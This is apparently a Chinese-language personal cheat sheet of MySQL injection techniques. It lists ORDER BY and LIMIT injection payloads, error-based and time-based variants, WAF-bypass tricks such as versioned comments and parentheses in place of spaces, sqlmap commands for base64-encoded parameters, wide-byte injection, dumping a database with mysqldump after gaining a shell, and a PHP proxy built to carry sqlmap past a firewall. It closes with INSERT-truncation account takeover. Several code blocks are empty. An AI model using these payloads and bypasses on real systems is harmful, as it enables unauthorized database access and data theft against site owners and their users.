MySQL 注入技巧
记录一下遇到的 MySQL 注入的 Payload 以及绕过姿势,总的来说就是一些技巧。
Bypass
null 代替 union
遇到 union 猜字段数跳转时,用 null 代替
Order by 注入点
order by
性质:
- 利用 order by 子句进行快速猜解表中的列数
- order by 后面的数不能是表达式
1=1 处就是 payload
构造:
- IF(1=1,name,price)
- (CASE+WHEN+(1=1)+THEN+name+ELSE+price+END)
- IFNULL
- rand(1=1) ,rand(1=2)
报错:
- IF(1=1,1, (select 1 union select 2))
- (select 1 regexp if(1=1,1,0x00))
- updatexml
- extractvalue
时间:
- if(1=1, 1, (SELECT(1)FROM(SELECT(SLEEP(2)))test))
对于 desc/asc
后的注入点,直接加 ,
然后拼接语句即可:
1 |
|
limit 注入点
方法仅适用于 5.0.0 < mysql < 5.6.6 的版本
SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT [注入点]
limit 关键字后面还有 PROCEDURE
和 INTO
关键字,into
关键字可以用来写文件,但这在不重要,这里的重点是 PROCEDURE
关键字。MySQL 默认可用的存储过程只有 ANALYSE
。
报错:
1 |
|
如果不支持报错注入的话,还可以基于时间注入,直接使用 sleep 不行,需要用 BENCHMARK 代替:
1 |
|
SELECT ... INTO:
SELECT username FROM Users limit 1,{INJECTION POINT};
1 INTO @,@,@
The used SELECT statements have a different number of columns
1 INTO @,@
没有报错就说明只有两列
FPD
mysql 中,limit 后的 limit 0, 0
或 limit 0,/**/1
可能会造成路径泄露
判断已知表名的字段数
1 |
|
1 |
|
1 AND (SELECT * FROM Users) = 1
=> Operand should contain 3 column(s)
说明只有 3 列
and/or 后插入字符绕过空格
任意混合+ - ~ !可以达到绕过空格的效果(可以现在本地测试,混合后需要的奇偶数可能不同)
1 |
|
版本号字符
mysql 的版本号字符即 /*!(版本号)*/
若给出的版本小于等于数据库版本,则 mysql 会吃掉版本号后剩下后面的字符。
若大于,则吃掉所有字符。(我的是 5.7.21)
select * from mysql.user where 1/*!50722aaaa*/;
返回正常结果
select * from mysql.user where 1/*!50721aaaa*/;
返回:
1 |
|
SELECT 1/*!00000union/*!00000select/*!00000user(*/);
对于小于或等于版本号的语句就会执行。其实就是把版本号当作空格使用。
/*!*/
也可以插入表等等:
select /*!id*/ from wlanpwd;
Illegal mix of collations
现象:
SQL Error : Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,SYSCONST) for operation 'UNION'
是一种乱码问题,因为编码的缘故字符集的编码不同所导致的。解决:
convert(version() using latin1)
aes_decrypt(aes_encrypt(version(),1),1)
unhex(hex(@@version))
cast(version()+as+binary)
convert(version(),binary)
convert(version()+using+binary)
Base64 变形
- 搜素引擎关键词:
inurl:php?aWQ9
- sqlmap 如何跑 base64 加密了的注入点
这里的 base64 不仅是值为 base64,参数的名字都一起 base64 了。
将以下 demo 保存为 sqlmap.php
1
2
3
4<?php
$id = base64_encode("id=".$_GET['id']);
echo file_get_contents("http://www.xxxx.com/project_detail.php?{$id}");
?>
sqlmap.py -u "http://localhost/sqlmap.php?id=12" -v3 --dbs
若是仅有参数值进行了 base64,那么用 sqlmap 即可:
sqlmap -u http://xxxx.com/index.php?tel=ltenig9yicc4occ9jzg5 --tamper base64encode.py – dbs
PHP 的 empty() 与 Mysql
mysql 的类型强制转换可绕过 PHP 中 empty()
函数对 0 的 false 返回。
例如:提交 /?test=0axxx
-> empty($_GET['test'])
=> 返回 真
但是 mysql 中提交其 0axxx
到数字型时强制转换成数字 0
括号代替空格
过滤了空格,逗号的注入,可使用括号包裹绕过。具体如遇到 select from
(关键字空格判断的正则,且剔除 /**/
等)可使用括号包裹查询字段绕过。
例如:
1
2
3select(user)from(mysql.user);
select{x(user)}from{y(mysql.user)};
select{x+user}from{x(mysql.user)}
宽字节注入
character_set_client
: 客户端发送过来的 SQL 语句编码,也就是 PHP 发送的 SQL 查询语句编码字符集。一个 gbk 汉字 2 字节,utf-8 汉字 3 字节。
宽字节对转义字符的影响发生在 character_set_client=gbk
的情况,也就是说,如果客户端发送的数据字符集是 gbk,则可能会吃掉转义字符 \
,从而导致转义消毒失败。
宽字节注入漏洞的另一个关键是设置了 character_set_client
为宽字节字符集,这里有很多中设置的方式,主要包括隐式设置和显式设置。
隐含方式设置是指 charcter_set_client 缺省字符集就是宽字节字符集。
显式设置是指在 PHP 程序中调用相应的设置函数来实现字符集的设置或直接对字符串进行编码转换,设置的函数包括:
1 |
|
快速脱库
在渗透测试的时候发现的:
首先满足:
- 有数据库账号密码(不一定是 root)
mysqldump
可以使用- get shell
我遇到的情况是部署在阿里云上的数据库, 限制了登录的 ip. 用 sqlmap 拖出来的库表是乱的. 这个时候我们可以用 mysqldump
先把数据拖到服务器上, 再下载到本地:
mysqldump -ubackup -p123456 -h 192.168.1.2 backup_test > /tmp/bakcup.sql
1 |
|
然后导入本地即可. 不过我发现导入的时候使用 mysqldump
有时候会有问题, 用 source
命令导入就不会,原因未知。
制造注入点
在渗透某网站的时候, 有狗, 已经 getshell, 但是此狗在 get 参数长度很长的时候会拦截, 所以 sqlmap 经常爆掉...那么我们完全可以自己写一个含有 sql 注入的 php, 让 sqlmap 跑这个. 那么狗怎么办呢? 拦截 get 参数, post 参数拦不拦呢? post 拦了, ua 拦不拦呢? cookie 呢? 其他 header 呢?
思路有特别多. 随便说一句, 自己构造的 php 还可以弄个 base64 解码, sqlmap 编码后传过去, 这样 payload 里根本不会没有敏感的字符, tamper 都省了 :P
insert 与 select 对待空格的不一致行为
mysql 版本需要 <mysq 5.7
fb 上的一篇文章
主旨思想是利用数据库对空格符的特殊处理方式来达到水平越权(甚至垂直越权)的目的。
1 |
|
查询结果是一致的
INSERT 截断:这是数据库的另一个特性,当设计一个字段时,我们都必须对其设定一个最大长度,比如 CHAR(10),VARCHAR(20)等等。但是当实际插入数据的长度超过限制时,数据库就会将其进行截断,只保留限定的长度。
1
2INSERT INTO users(username, password) VALUES ('vampire', 'random_pass');
INSERT INTO users(username, password) VALUES ('vampire 1', 'random_pass');
截断后(这里是 varchar(10)), 在 select 看来, 数据库里就用 2 个叫 vampire
的人.
利用场景
这里的利用场景等同于: 如果我们绕过了网站限制注册同一用户名的逻辑, 会有什么危害?
目前我能想到的只有 2 种:
update
的操作没用 and 把 passwd 加进来, 只验证用户名, 导致更新任意用户的资料(前提是知道该用户的用户名).- 登录时虽然同时验证了用户名和密码, 但是验证后只用用户名作为唯一的合法性标识符(业务逻辑以该用户名为准). 比如写死了 admin 这个名字的用户可以增加管理员等等. 不过返回的数据仍然是带空格的
vampire
, 不一定能通过==
的检查, 得具体看代码怎么处理.
来呀快活呀